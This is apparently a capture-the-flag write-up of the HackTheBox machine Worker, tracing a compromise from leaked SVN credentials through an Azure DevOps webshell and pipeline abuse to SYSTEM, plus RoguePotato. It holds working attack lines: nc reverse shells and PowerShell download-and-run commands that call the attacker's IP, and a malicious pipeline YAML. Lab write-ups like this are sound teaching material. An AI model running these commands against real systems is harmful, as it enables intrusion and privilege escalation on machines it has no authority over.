HTB: Worker
Worker is all about exploiting an Azure DevOps environment. I’ll find creds in an old SVN repository and use them to get into the Azure DevOps control panel where several websites are managed. I’ll upload a webshell into one of the sites and rebuild it, gaining execution and a shell. With the shell I’ll find creds for another user, and use that to get back into Azure DevOps, this time as someone with permission to create pipelines, which I’ll use to get a shell as System. In Beyond Root, I’ll show RoguePotato, as this was one of the first vulnerable boxes to release after that came out.
Box Info
Name | Worker Play on HackTheBox |
---|---|
Release Date | 15 Aug 2020 |
Retire Date | 30 Jan 2021 |
OS | Windows |
Base Points | Medium [30] |
Rated Difficulty | |
Radar Graph | |
01:29:58 |
|
03:10:42 |
|
Creator |
Recon
nmap
nmap
found three open TCP ports, HTTP (80), SVN (3690), and WinRM (5985):
root@kali# nmap -p- --min-rate 1000 -oA scans/nmap-alltcp-slow 10.10.10.203
Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-21 10:43 EDT
Nmap scan report for worker.htb (10.10.10.203)
Host is up (0.016s latency).
Not shown: 65532 filtered ports
PORT STATE SERVICE
80/tcp open http
3690/tcp open svn
5985/tcp open wsman
Nmap done: 1 IP address (1 host up) scanned in 13.45 seconds
root@kali# nmap -p 80,3690,5985 -sC -sV -oA scans/nmap-tcpscripts 10.10.10.203
Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-21 11:46 EDT
Nmap scan report for worker.htb (10.10.10.203)
Host is up (0.013s latency).
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
3690/tcp open svnserve Subversion
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.27 seconds
Based on the IIS version, the host is likely running Windows 10 / Server 2016 / Server 2019.
SVN - TCP 3690
checkout
I’m much more comfortable with Git as opposed to Subversion, but I found this cheat sheet helpful. First , I used checkout
to get a local copy of the repo from the server with svn checkout svn://10.10.10.203
. There’s a directory for dimension and a text file, along side the .svn
directory which stores history (just like .git
does for Git):
root@kali# ls -la
total 13
drwxrwx--- 1 root vboxsf 0 Aug 21 13:08 .
drwxrwx--- 1 root vboxsf 4096 Aug 21 13:07 ..
drwxrwx--- 1 root vboxsf 4096 Aug 21 13:08 dimension.worker.htb
-rwxrwx--- 1 root vboxsf 162 Aug 21 13:08 moved.txt
drwxrwx--- 1 root vboxsf 4096 Aug 21 13:07 .svn
Files
moved.txt
claims that this repo is not longer updated, and has moved to the devops subdomain:
This repository has been migrated and will no longer be maintained here.
You can find the latest version at: http://devops.worker.htb
// The Worker team :)
dimension.worker.htb
has what looks like the static files associated with the site:
root@kali# ls dimension.worker.htb/
assets images index.html LICENSE.txt README.txt
There’s not much exciting here to find.
log
Subversion gives a log of the commit history:
root@kali# svn log
------------------------------------------------------------------------
r5 | nathen | 2020-06-20 09:52:00 -0400 (Sat, 20 Jun 2020) | 1 line
Added note that repo has been migrated
------------------------------------------------------------------------
r4 | nathen | 2020-06-20 09:50:20 -0400 (Sat, 20 Jun 2020) | 1 line
Moving this repo to our new devops server which will handle the deployment for us
------------------------------------------------------------------------
r3 | nathen | 2020-06-20 09:46:19 -0400 (Sat, 20 Jun 2020) | 1 line
-
------------------------------------------------------------------------
r2 | nathen | 2020-06-20 09:45:16 -0400 (Sat, 20 Jun 2020) | 1 line
Added deployment script
------------------------------------------------------------------------
r1 | nathen | 2020-06-20 09:43:43 -0400 (Sat, 20 Jun 2020) | 1 line
First version
------------------------------------------------------------------------
I’m immediately drawn to r2
, where a deployment script is added. That seems like the kind of thing that might have creds in it, especially since it’s been removed.
Walk Revisions
For the sake of completeness, I started with r1
:
root@kali# svn up -r1
Updating '.':
D moved.txt
Updated to revision 1.
The D
means that file was deleted, in comparison with what I had. A quick look through the files confirms that none of the other files changed.
Moving to r2
, the file deploy.ps1
is added (A
):
root@kali# svn up -r2
Updating '.':
A deploy.ps1
Updated to revision 2.
The file just starts another script as the user nathen, including hard coded creds:
$user = "nathen"
$plain = "wendel98"
$pwd = ($plain | ConvertTo-SecureString)
$Credential = New-Object System.Management.Automation.PSCredential $user, $pwd
$args = "Copy-Site.ps1"
Start-Process powershell.exe -Credential $Credential -ArgumentList ("-file $args")
r3
updates (U
) the script:
root@kali# svn up -r3
Updating '.':
U deploy.ps1
Updated to revision 3.
Now the password is gone:
$user = "nathen"
# NOTE: We cant have my password here!!!
$plain = ""
$pwd = ($plain | ConvertTo-SecureString)
$Credential = New-Object System.Management.Automation.PSCredential $user, $pwd
$args = "Copy-Site.ps1"
Start-Process powershell.exe -Credential $Credential -ArgumentList ("-file $args")
r4
removes the script all together, and r5
adds the note:
root@kali# svn up -r4
Updating '.':
D deploy.ps1
Updated to revision 4.
root@kali# svn up -r5
Updating '.':
A moved.txt
Updated to revision 5.
Website - TCP 80
The site is the default IIS page:
I tried to run gobuster
against the site, but it didn’t find anything and kept errroring out.
The HTTP headers show it’s running ASP.NET (so .aspx
pages):
HTTP/1.1 200 OK
Content-Type: text/html
Last-Modified: Sat, 28 Mar 2020 13:58:44 GMT
Accept-Ranges: bytes
ETag: "f29ff7fe85d61:0"
Vary: Accept-Encoding
Server: Microsoft-IIS/10.0
X-Powered-By: ASP.NET
Content-Length: 703
VHost Fuzzing
Given the multiple references to worker.htb
subdomains (devops
and dimension
) observed in SVN, I’ll use wfuzz
to look for others:
root@kali# wfuzz -c -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -u http://10.10.10.203 -H 'Host: FUZZ.worker.htb' --hh 703
********************************************************
* Wfuzz 2.4.5 - The Web Fuzzer *
********************************************************
Target: http://10.10.10.203/
Total requests: 100000
===================================================================
ID Response Lines Word Chars Payload
===================================================================
000000296: 200 170 L 542 W 6495 Ch "alpha"
000007691: 200 355 L 1408 W 16045 Ch "story"
000022566: 401 85 L 329 W 20028 Ch "devops"
000023339: 200 397 L 1274 W 14803 Ch "cartoon"
000023462: 200 111 L 398 W 4971 Ch "lens"
000024714: 200 368 L 1173 W 14588 Ch "dimension"
000037212: 400 6 L 26 W 334 Ch "*"
000071250: 200 274 L 871 W 10134 Ch "twenty"
Total time: 788.1111
Processed Requests: 100000
Filtered Requests: 99992
Requests/sec.: 126.8856
It crashed a few times, but eventually got it to run all the way through. I’ll add all of these to my /etc/hosts
file:
10.10.10.203 worker.htb alpha.worker.htb story.worker.htb devops.worker.htb cartoon.worker.htb lens.worker.htb dimension.worker.htb twenty.worker.htb
devops.worker.htb - TCP 80
I spent a some time looking at each of the sites. devops.worker.htb just pops an auth prompt. I thought at first that it was basic auth, but it is actually NTLM auth, which will matter later. If I give no creds, it does provide an interesting error page:
This must be an instance of Azure DevOps.
dimension.worker.htb - TCP 80
dimension.worker.htb seems to be the site that ties the others together:
The Intro and About pages are the same, and each provides a link to the Work page, which contains links to the other subdomains:
In addition to the domains I already added, I’ll add two more subdomains to /etc/hosts
:
solid-state.worker.htb spectral.worker.htb
At this point I found SVN open, and decided to come back to the websites after looking there.
Shell as iis
Enumerate devops.worker.htb
Access
Going back to devops.worker.htb, I can use the creds from SNV to log in. There is one catch - it won’t work with Burp on in the default configuration. Because it’s using NTLM authentication, Burp breaks it. I showed why in Beyond Root for Sizzle. There’s two ways around this. First, I can just disable Burp. I don’t need it to continue here.
Still, it’s useful to know how to get the tools to work for you, and QTC (who happened to earn root blood on Worker) provided that on Twitter:
The problem is that NTLM authenticates the TCP connection, which is not kept alive when using a proxy. However, you can still use Burp:
— Tobias Neitzel (@qtc_de) August 21, 2020
1. Proxy -> Options -> uncheck "Set Connection Close"
2. User Options -> Platform Authentication -> Add NTLM
Also works on community :)
I configured my Burp Community that way it worked flawlessly.
Repos
On accessing the page now, I’m at an instance of Azure DevOps:
If I click into the SmartHotel360 project, and then on the Repos option from the menu on the left side, it will load the SmartHotel360 repo:
At the top, I’ll noticed that there’s a drop down by the SmartHotel360 repo, and clicking on it, shows the other repos that are available in this project:
These are the sites I found during enumeration.
Pipelines
The other menu option on the left to check out is Pipelines:
I haven’t used Azure DevOps before, but this is very similar to Gitlab CICD (which I use to build this site each time I push a new commit to master) or GitHub Actions. For each of the sites, there’s a pipeline, which is a series of commands to run, presumably to build the updated site and deploy it.
Clicking view on the pipeline presents the details:
I can click View YAML to see it in that form:
steps:
- task: CopyFiles@2
displayName: 'Deploy web site'
inputs:
SourceFolder: '$(Build.SourcesDirectory)'
Contents: |
**
!.git/**/*
TargetFolder: 'w:\sites\$(Build.Repository.Name).worker.htb'
CleanTargetFolder: true
OverWrite: true
timeoutInMinutes: 5
This task takes the files from the sources folder and writes them into the destination folder (presumably where they are hosted by IIS).
One thing that’s interesting is the target folder of w:\sites\...
. I’ll keep an eye out for that when I get a shell.
I don’t have permissions to change any of the pipelines, or to create a new one.
Clicking the Run or Queue buttons pop a form:
Looks like I do have permissions to start a build, which means if I can change a site in the repo here, I can use the pipeline to push that change to the hosted site.
Upload Webshell
Failed Upload to Master
I first tried to just upload a file by picking one of the repos (in this case alpha) clicking the Upload file(s) button:
It pops a form where I can select a basic ASPX webshell, but I got an error that I can’t upload in the master branch:
In Git, the main or default name for a branch is master. Then users can create other branches based on another branch, and people can make different changes in each branch. The idea is that eventually you merge other branches back into master, and Git helps manage getting all the changes together, or helping you resolve conflicts.
It is not uncommon to have lower access users able to create and save (commit) into branches that are not master while limiting access to master, and typically, only master would have a pipeline that pushed actual content to the site.
Create a Branch / Upload
I’ll click on the dropdown by the branch selection. There’s currently only master, but also an option to add a new one:
Clicking New branch pops a form that I’ll fill in:
Now I can select Upload file(s) again, and this time my upload (from /usr/share/webshells/aspx/
on Kali) succeeds:
I’m choosing an ASPX webshell because of the X-Powered-By: ASP.NET
header seen during Recon.
Deploy
Now back in Pipelines, I’ll select the CICD job for the project I uploaded into (Alpha), and run the build job, giving it the branch I created:
About 30 seconds later the job completes and the shell is there:
And it has execution:
Shell
I’ll start a local Python webserver and then upload nc64.exe
using the following command: powershell -c wget 10.10.14.24/nc64.exe -outfile \programdata\nc.exe
.
Now I’ll get a shell by running \programdata\nc.exe -e cmd.exe 10.10.14.24 443
:
root@kali# rlwrap nc -lnvp 443
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 10.10.10.203.
Ncat: Connection from 10.10.10.203:49987.
Microsoft Windows [Version 10.0.17763.1282]
(c) 2018 Microsoft Corporation. All rights reserved.
c:\windows\system32\inetsrv>
Priv: iis –> robisl
Enumeration
Before uploading an enumeration script like WinPEAS, I always explore the system a bit. No interesting directories at the root of C. Two potential users on the box, restorer and robisl:
c:\Users>dir
dir
Volume in drive C has no label.
Volume Serial Number is 32D6-9041
Directory of c:\Users
2020-07-07 17:53 <DIR> .
2020-07-07 17:53 <DIR> ..
2020-03-28 15:59 <DIR> .NET v4.5
2020-03-28 15:59 <DIR> .NET v4.5 Classic
2020-07-22 01:02 <DIR> Administrator
2020-03-28 15:01 <DIR> Public
2020-07-22 01:11 <DIR> restorer
2020-07-08 19:22 <DIR> robisl
0 File(s) 0 bytes
8 Dir(s) 10420121600 bytes free
I also wanted to see if the reference from the Azure DevOps pipeline to W:
was legit. I could just try navigating into it, but there are also a few ways to list all the drives on the host. wmic
is a nice way, and it shows there is in fact a W:
:
c:\Users>wmic logicaldisk get deviceid, volumename, description
Description DeviceID VolumeName
Local Fixed Disk C:
Local Fixed Disk W: Work
PowerShell can do it too:
c:\Users>powershell -c get-psdrive -psprovider filesystem
Name Used (GB) Free (GB) Provider Root CurrentLocation
---- --------- --------- -------- ---- ---------------
C 19,69 9,70 FileSystem C:\ Users
W 2,52 17,48 FileSystem W:\
Having confirmed it exists, I’ll jump into W:
and check it out:
c:\Users>w:
W:\>dir
Volume in drive W is Work
Volume Serial Number is E82A-AEA8
Directory of W:\
2020-06-16 18:59 <DIR> agents
2020-03-28 15:57 <DIR> AzureDevOpsData
2020-04-03 11:31 <DIR> sites
2020-06-20 16:04 <DIR> svnrepos
0 File(s) 0 bytes
4 Dir(s) 18764595200 bytes free
The sites
directory has a folder for each site, and these appear to be the where the sites are hosted from:
W:\sites>dir
Volume in drive W is Work
Volume Serial Number is E82A-AEA8
Directory of W:\sites
2020-04-03 11:31 <DIR> .
2020-04-03 11:31 <DIR> ..
2020-08-23 03:26 <DIR> alpha.worker.htb
2020-07-20 23:43 <DIR> cartoon.worker.htb
2020-04-03 12:27 <DIR> dimension.worker.htb
2020-07-20 23:43 <DIR> lens.worker.htb
2020-07-20 23:43 <DIR> solid-state.worker.htb
2020-08-03 12:33 <DIR> spectral.worker.htb
2020-07-20 23:43 <DIR> story.worker.htb
2020-07-20 23:43 <DIR> twenty.worker.htb
0 File(s) 0 bytes
10 Dir(s) 18764595200 bytes free
W:\sites>dir alpha.worker.htb
Volume in drive W is Work
Volume Serial Number is E82A-AEA8
Directory of W:\sites\alpha.worker.htb
2020-08-23 03:26 <DIR> .
2020-08-23 03:26 <DIR> ..
2020-08-23 03:26 <DIR> assets
2020-08-23 03:26 1442 cmdasp.aspx
2020-08-23 03:26 3707 contact.html
2020-08-23 03:26 19755 elements.html
2020-08-23 03:26 4742 generic.html
2020-08-23 03:26 <DIR> images
2020-08-23 03:26 6495 index.html
2020-08-23 03:26 17128 LICENSE.txt
2020-08-23 03:26 1050 README.txt
7 File(s) 54319 bytes
4 Dir(s) 18764595200 bytes free
The webshell is sitting in the root of the alpha directory, and there’s no version control (Git or Subversion) folder present - The pipeline simply copied the files it was given into this directory.
AzureDevOpsData
and agents
seem to have to do with the CICD deployment. What’s interesting is the svnrepos
. Presumably this is legacy Subversion server from before the move to Azure DevOps.
W:\svnrepos\www>dir
Volume in drive W is Work
Volume Serial Number is E82A-AEA8
Directory of W:\svnrepos\www
2020-06-20 11:29 <DIR> .
2020-06-20 11:29 <DIR> ..
2020-06-20 15:30 <DIR> conf
2020-06-20 15:52 <DIR> db
2020-06-20 11:29 2 format
2020-06-20 11:29 <DIR> hooks
2020-06-20 11:29 <DIR> locks
2020-06-20 11:29 251 README.txt
2 File(s) 253 bytes
6 Dir(s) 18764595200 bytes free
W:\svnrepos\www>type README.txt
This is a Subversion repository; use the 'svnadmin' and 'svnlook'
tools to examine it. Do not add, delete, or modify files here
unless you know how to avoid corrupting the repository.
Visit http://subversion.apache.org/ for more information.
In the conf
directory, both authz
and passwd
jump out as interesting:
W:\svnrepos\www\conf>dir
Volume in drive W is Work
Volume Serial Number is E82A-AEA8
Directory of W:\svnrepos\www\conf
2020-06-20 15:30 <DIR> .
2020-06-20 15:30 <DIR> ..
2020-06-20 11:29 1112 authz
2020-06-20 11:29 904 hooks-env.tmpl
2020-06-20 15:27 1031 passwd
2020-04-04 20:51 4454 svnserve.conf
4 File(s) 7501 bytes
2 Dir(s) 18764595200 bytes free
authz
is all default stuff (every line is commented), but passwd
provides plaintext passwords for a long list of users:
W:\svnrepos\www\conf>type passwd
type passwd
### This file is an example password file for svnserve.
### Its format is similar to that of svnserve.conf. As shown in the
### example below it contains one section labelled [users].
### The name and password for each user follow, one account per line.
[users]
nathen = wendel98
nichin = fqerfqerf
nichin = asifhiefh
noahip = player
nuahip = wkjdnw
oakhol = bxwdjhcue
owehol = supersecret
paihol = painfulcode
parhol = gitcommit
pathop = iliketomoveit
pauhor = nowayjose
payhos = icanjive
perhou = elvisisalive
peyhou = ineedvacation
phihou = pokemon
quehub = pickme
quihud = kindasecure
rachul = guesswho
raehun = idontknow
ramhun = thisis
ranhut = getting
rebhyd = rediculous
reeinc = iagree
reeing = tosomepoint
reiing = isthisenough
renipr = dummy
rhiire = users
riairv = canyou
ricisa = seewhich
robish = onesare
robisl = wolves11
robive = andwhich
ronkay = onesare
rubkei = the
rupkel = sheeps
ryakel = imtired
sabken = drjones
samken = aqua
sapket = hamburger
sarkil = friday
nathen’s password matches what I used to get into Azure DevOps. robisl (one of the users with a home directory from above) is on the list with the password “wolves11”. robisl is also in the “Remote Management Users” group:
W:\svnrepos\www\conf>net user robisl
net user robisl
User name robisl
Full Name Robin Islip
Comment
User's comment
Country/region code 000 (System Default)
Account active Yes
Account expires Never
Password last set 2020-04-05 21:27:26
Password expires Never
Password changeable 2020-04-05 21:27:26
Password required No
User may change password No
Workstations allowed All
Logon script
User profile
Home directory
Last logon 2020-08-03 12:41:02
Logon hours allowed All
Local Group Memberships *Production *Remote Management Use
Global Group memberships *None
The command completed successfully.
That means robisl can connect over WinRM.
EvilWinRM
If robisl reuses this password from SVN on the box, Evil-WinRM should provide a shell. It does:
root@kali# evil-winrm -i 10.10.10.203 -u robisl -p wolves11
Evil-WinRM shell v2.3
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\robisl\Documents>
And with this shell I can claim user.txt
:
*Evil-WinRM* PS C:\Users\robisl\desktop> type user.txt
c236e29b************************
Priv: robisl –> system
Enumeration
I didn’t find much in the way of privesc on the box from robisl. Eventually I decided to see if robisl could log into Azure DevOps, and it worked, and provided a different project:
This project only has one repo (unlike the previous which has one for each site). It has a lot of files, but nothing that seemed of interest:
In Project settings under General -> Security, robisl is a Build Administrator:
This group can define builds with CI and other pipeline related tasks.
Create Pipeline
Under Pipelines, I’ll click the New pipeline button, which starts down a series of forms to create a pipeline. First, I need to select a repo:
I’ll select Azure Repos Git, and then select PartsUnlimited from the list:
In the next step, I’m to select the kind of project this will be. There are a ton of options:
I selected Starter Pipeline as it seemed the simplest.
The next window presents a YAML file that defines the pipeline using various keywords:
trigger
will define when this runs. In this default case, the pipeline will run on commits (or merges) to master. I will see that robisl doesn’t have permission to commit to master, but saving will also run the pipeline, so I don’t really care about the trigger.
pool
define how the pipeline runs. My first instinct was to just leave this the same.
steps
defines the various scripts that will run and in order. A script
can be on line, or in YAML |
indicates a multiline string keeping newlines until the next item based on indent.
Troubleshoot Template
It’s always a good idea when starting with someone else’s code to just run it and make sure it works. Without this, if it fails later I won’t know if it was my changes or the original template. When I click Save and run, it pops a dialog about committing this file:
Clicking Save and run again pops an error because robisl can’t commit to master:
I’ll select Create a new branch… and name it 0xdf. It creates the pipeline, but then it fails:
It is failing because there is not pool named Default
. I don’t have permissions to Authorize resources. The short solution here is to just remove this line from the config, and then it will run with the organization default pool. However, I can also find the real name for the available pools by clicking on the Azure DevOps logo on the top left, and then Collection Settings at the bottom left. On the left side, there’s a menu for Agent pools:
There’s a pool called Setup.
Pipeline Hello World
I’ll go back to Pipelines for PartsUnlimited and start a new pipeline. At the config, I’ll name the pool Setup
, Save and run. I’ll have to either delete the branch 0xdf and the pull request, or just use a different branch name. This time it runs. The various stages show live on screen, and when it’s done, it displays the summary:
My input defined two steps, “Run a one-line script” and “Run a multi-line script”, and they are both there. Clicking on Run a one-line script shows the results:
On line 14 is the output of the script. Clicking Next task shows similar output for the second stage, Run a multi-line script:
The two echo
statements are executed.
Read root.txt
The next thing I want to do is determine which user is running the scripts. I’ll cheat a bit and also attempt to read root.txt
:
trigger:
- master
pool: 'Setup'
steps:
- script: |
whoami
type c:\users\administrator\desktop\root.txt
displayName: 'Pwn all the things'
The results show that it runs as nt authority\system! And it returns the flag:
Shell
Of course I want a shell, so I’ll create another pipeline:
trigger:
- master
pool: 'Setup'
steps:
- script: c:\programdata\nc.exe -e cmd 10.10.14.24 443
displayName: 'shellz'
The job will hang when it gets to the stage shellz:
Over at my nc
listener, I have a shell as system:
root@kali# rlwrap nc -lvnp 443
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 10.10.10.203.
Ncat: Connection from 10.10.10.203:54104.
Microsoft Windows [Version 10.0.17763.1282]
(c) 2018 Microsoft Corporation. All rights reserved.
W:\agents\agent11\_work\13\s>whoami
nt authority\system
Beyond Root - RoguePotato
Enumeration
In my first shell, the IIS user has SeImpersonatePrivilege
:
c:\windows\system32\inetsrv>whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token Disabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeAuditPrivilege Generate security audits Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
Up until Server 2019, this would be a great scenario for JuicyPotato. But Microsoft made changes that broke JuicyPotato.
This box is running Windows Server 2019:
c:\windows\system32\inetsrv>systeminfo
Host Name: WORKER
OS Name: Microsoft Windows Server 2019 Standard
OS Version: 10.0.17763 N/A Build 17763
OS Manufacturer: Microsoft Corporation
OS Configuration: Standalone Server
OS Build Type: Multiprocessor Free
...[snip]...
In May 2020, @splinter_code and @decoder_it released RoguePotato:
No more JuicyPotato? Old story, welcome RoguePotato!
— Antonio Cocomazzi (@splinter_code) May 11, 2020
Checkout our blog post by @decoder_it and me.https://t.co/9lH6MdVjsb
The blog post provides a ton of detail. But the TL;DR is that I can still go from SeImpersonatePrivlege
to system. I did a blog post showing RoguePotato on Remote last September, but this was the first box I actually had used it on.
What’s New In Rogue?
Part of the Potato attack is to send a request to the OXID Resolver which runs as part of the rpcss
service and listens on TCP 135. Prior to Windows 10 1809 / Server 2019, the invoker could specify that they wante to actually contact the OXID Resolver on a different port, which allows earlier Potatoes like JuicyPotato to set up a fake OXID Resolver and handle that request. That’s what the -l
parameter is - What port should the fake OXID Resolver listen on. For example, from my writeup for Json, I’m telling the fake OXID Resolver to listen on localhost:9001:
Now in modern Windows OXID Resolutions can only happen on TCP 135, and the legit service is already running there. But the resolution is not limited to the local machines. So now I pass RoguePotato my IP, and it will send the OXID Resolver request to that IP on TCP 135. I have two options to handle this. The simplest is to use something like socat
to tunnel that request right back to the Windows host where RoguePotato is listening. If the box where RoguePotato is run is blocking in bound connections or can’t be reached like that, the RP repo also has an exe that can be run on a machine I control.
Either way, RoguePotato is able to get the request to the Fake OXID Resolver on TCP 135.
Initial Attempt
I’ll grab a copy of the release binary from GitHub, and upload it to Worker using a local Python webserver and PowerShell:
c:\ProgramData>powershell -c wget http://10.10.14.24/RoguePotato.exe -outfile RoguePotato.exe
There’s a problem here. The firewall is blocking all inbound tcp ports except for the three identified during the initial nmap
. RoguePotato needs to have a listening port such that the connection to TCP 135 on my host is tunneled back to the target host on that port.
Tunnel
Rather than mess with the Fake OXID exe, I’ll create the tunnel myself with Chisel. I’ll start the server locally, and then upload the exe to Worker and connect as a client:
c:\ProgramData>.\c client 10.10.14.24:8000 R:9999:localhost:9999
.\c client 10.10.14.24:8000 R:9999:localhost:9999
2020/08/23 13:31:41 client: Connecting to ws://10.10.14.24:8000
2020/08/23 13:31:41 client: Fingerprint 13:b9:97:ca:c7:6e:ae:5d:cd:b6:f1:bf:3c:d3:c7:ec
2020/08/23 13:31:41 client: Connected (Latency 1.0691ms)
The server gets the connection:
root@kali# ./chisel_1.6.0_linux_amd64 server -p 8000 --reverse
2020/08/23 07:27:53 server: Reverse tunnelling enabled
2020/08/23 07:27:53 server: Fingerprint 13:b9:97:ca:c7:6e:ae:5d:cd:b6:f1:bf:3c:d3:c7:ec
2020/08/23 07:27:53 server: Listening on 0.0.0.0:8000...
m2020/08/23 07:29:58 server: proxy#1:R:0.0.0.0:9999=>localhost:9999: Listening
Now on my Kali box there’s a listener on 9999 that will forward to 9999 on Worker.
I’ll create a socat
listener that will forward incoming on TCP 135 to localhost 9999, which will be picked up by the chisel
tunnel and sent back to 9999 on Worker:
root@kali# socat tcp-listen:135,reuseaddr,fork tcp:127.0.0.1:9999
The request will look like (and the response will travel the same path in the opposite direction):
This could probably be done without socat
, just using chisel
to listen on 135, but I didn’t test that.
Defender
Windows Defender will eat RoguePotato.exe
when it’s on disk, but it turns out that if I run it fast enough, I can get it to execute before it’s detected and quarantined. I had more success running the payload as a .bat
file.
c:\ProgramData>echo c:\programdata\nc.exe -e cmd 10.10.14.24 443 > rev.bat
c:\ProgramData>type rev.bat
c:\programdata\nc.exe -e cmd 10.10.14.24 443
I tested rev.bat
by just running it and making sure I got a shell back.
Now I’ll make sure to run the commands to download and then execute RoguePotato.exe
in one line.
Success
Now I have everything in place to run RoguePotato. For speed, I’ll run one command with stacked commands to download and run it:
c:\ProgramData>powershell -c wget 10.10.14.24/RoguePotato.exe -outfile r.exe; .\r.exe -r 10.10.14.24 -l 9999 -e C:\programdata\rev.bat
[+] Starting RoguePotato...
[*] Creating Rogue OXID resolver thread
[*] Creating Pipe Server thread..
[*] Creating TriggerDCOM thread...
[*] Listening on pipe \\.\pipe\RoguePotato\pipe\epmapper, waiting for client to connect
[*] Calling CoGetInstanceFromIStorage with CLSID:{4991d34b-80a1-4291-83b6-3328366b9097}
[*] Starting RogueOxidResolver RPC Server listening on port 9999 ...
[*] IStoragetrigger written:104 bytes
[*] SecurityCallback RPC call
[*] ResolveOxid2 RPC call, this is for us!
[*] ResolveOxid2: returned endpoint binding information = ncacn_np:localhost/pipe/RoguePotato[\pipe\epmapper]
[*] Client connected!
[+] Got SYSTEM Token!!!
[*] Token has SE_ASSIGN_PRIMARY_NAME, using CreateProcessAsUser() for launching: C:\programdata\rev.bat
[+] RoguePotato gave you the SYSTEM powerz :D
Back at nc
, I’ve got a shell as system:
root@kali# rlwrap nc -lnvp 443
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 10.10.10.203.
Ncat: Connection from 10.10.10.203:54454.
Microsoft Windows [Version 10.0.17763.1282]
(c) 2018 Microsoft Corporation. All rights reserved.
c:\ProgramData>whoami
nt authority\system